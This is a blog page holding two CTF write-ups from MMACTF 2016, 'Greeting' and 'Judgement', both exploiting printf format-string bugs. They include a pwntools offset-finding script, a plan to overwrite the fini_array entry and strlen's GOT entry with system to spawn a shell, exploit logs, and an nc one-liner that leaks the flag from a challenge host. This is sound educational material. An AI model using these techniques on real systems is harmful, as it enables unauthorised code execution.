Articles tagged mmactf2016

  1. MMACTF 2016 - Greeting


    Challenge description:

    Pwn
    Host : pwn2.chal.ctf.westerns.tokyo
    Port : 16317

    Reversing and Finding the Bug

    Reversing with radare2:

    Looks like another textbook format string vulnerability because the user buffer is put into sprintf and then straight into printf. This time I had to actually do the work of getting code execution because the flag was not loaded onto the stack.

    Running the binary

    I wanted to see the bug in action so I loaded up my Ubuntu VM using vagrant and checked it out:

     ./greeting
    Hello, I'm nao!
    Please tell me your name... %08x
    Nice to meet you, 080487d0 :)
    

    Neat. Now for exploitation.

    Background

    For information on printf and a more basic format string exploit, check out the post I did on the judgement pwn challenge also from this CTF. In addition to having positional arguments, printf also has a cool feature where you can write the number of bytes that have been printed so far to a variable. This feature is what makes format string vulnerabilities so dangerous. If you can exploit one, you can get arbitrary write.

    Passing %hn to printf in the format string will write up to a half word value of the number of characters written so far. Combining this with positional arguments allows for half a word at a time to be written to anywhere. So this is bad.

    If you are interested in learning more about how format string vulnerabilities work then check out this paper

    Exploitation

    I decided to use libformatstr for this because I have never used it before and it seemed useful so I didn't have to craft the buffer manually.

    The payload function takes two arguments: an argument number and a padding number. The offset number is the word distance in memory away from your input and the padding is the number of bytes your input needs to be padded for the addresses you enter to be word aligned. Libformatstr can be used to determine these numbers:

    from pwn import *
    from libformatstr import *
    
    e = ELF("./greeting")
    r = process(e.path)
    
    r.sendline(make_pattern(0x40))
    r.recvuntil("you, ")
    res = r.recv()
    print(res)
    argnum, padding = guess_argnum(res, 0x40)
    log.info("argnum: {}, padding: {}".format(argnum, padding))
    

    Running this resulted in an output of argnum: 12, padding: 2. There was one other bit that needed to be changed as well. Since "Nice to meet you, " was being prepended to my input I had to set an additional argument when setting up the format string exploit called start_num.

    Armed with the argument number, padding, and start number I was ready to try and overwrite some values. The issue I ran into was that there are no function calls after the call to printf in main. I though of trying to overwrite a destructor (dtors), but there were none. I came across a way to overwrite the fini section of a binary to execute a function when the program was supposed to be quitting. I could not find much documentation on exactly what I needed to overwrite to make this work so I just used objdump and grep to find the symbols with fini in the name:

    → objdump -t greeting | grep fini
    08048780 l    d  .fini  00000000              .fini
    08049934 l    d  .fini_array    00000000              .fini_array
    08049934 l     O .fini_array    00000000              __do_global_dtors_aux_fini_array_entry
    08048740 g     F .text  00000002              __libc_csu_fini
    08048780 g     F .fini  00000000              _fini
    

    Five choices. Through trial and error I determined that overwriting whatever was at __do_global_dtors_aux_fini_array_entry gave me control of the program.

    My plan of attack became the following:
    1. Overwrite __do_global_dtors_aux_fini_array_entry with main
    2. Overwrite the GOT entry for strlen with system
    3. Write the full format string line into the program
    4. When main executes the second time, write /bin/sh so that the call to strlen in the getnline function executes system("/bin/sh") and gives me a shell!

    I wrote the following script to do the above:

    Running it resulted in the flag :)

     python greet2.py REMOTE
    [*] '/home/vagrant/CTF/tokyo/greeting'
        Arch:     i386-32-little
        RELRO:    No RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE
    [x] Opening connection to pwn2.chal.ctf.westerns.tokyo on port 16317
    [x] Opening connection to pwn2.chal.ctf.westerns.tokyo on port 16317: Trying 40.74.112.206
    [+] Opening connection to pwn2.chal.ctf.westerns.tokyo on port 16317: Done
    [+] Wrote system onto strlen and main onto fini... trying shell
    [+] got shell
    [+] Flag: TWCTF{51mpl3_FSB_r3wr173_4nyw4r3}
    [*] Closed connection to pwn2.chal.ctf.westerns.tokyo port 16317
    

    W00t!
    TWCTF{51mpl3_FSB_r3wr173_4nyw4r3}

  2. MMACTF 2016 - Judgement


    Challenge description:

    Pwn Warmup
    Host : pwn1.chal.ctf.westerns.tokyo
    Port : 31729

    This was a binary pwn challenge, so I loaded it up in radare2 to take a look:

    Looks like a textbook format string vulnerability. printf has a positional arguments feature so normally you can specify which argument you want to use if you are the programmer. The following is an example use case of this:

    printf("3rd argument: %3$08x, 1st argument: %1$c\n", 'a', "unused", 0x41414141);
    

    This will print "3rd argument: 0x41414141, 1st argument: a"

    Format string vulnerabilities occur when a user controlled buffer is passed to printf. When printf is called it reads things off of the stack (function arguments) to print. Because the input buffer is passed straight in it allows reads off of the stack.

    Since the address of the flag was loaded on the stack before the main function it was somewhere reachable by printfs positional arguments.

    I just wrote a loop to brute force the exact offset number and spit out the flag:

     for i in {10..50}; do echo "%$i\$s" | nc pwn1.chal.ctf.westerns.tokyo 31729; done | grep CTF
    Input flag >> TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}
    Input flag >> TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}
    Input flag >> TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}
    

    I got it more than once... but I got it.

    TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}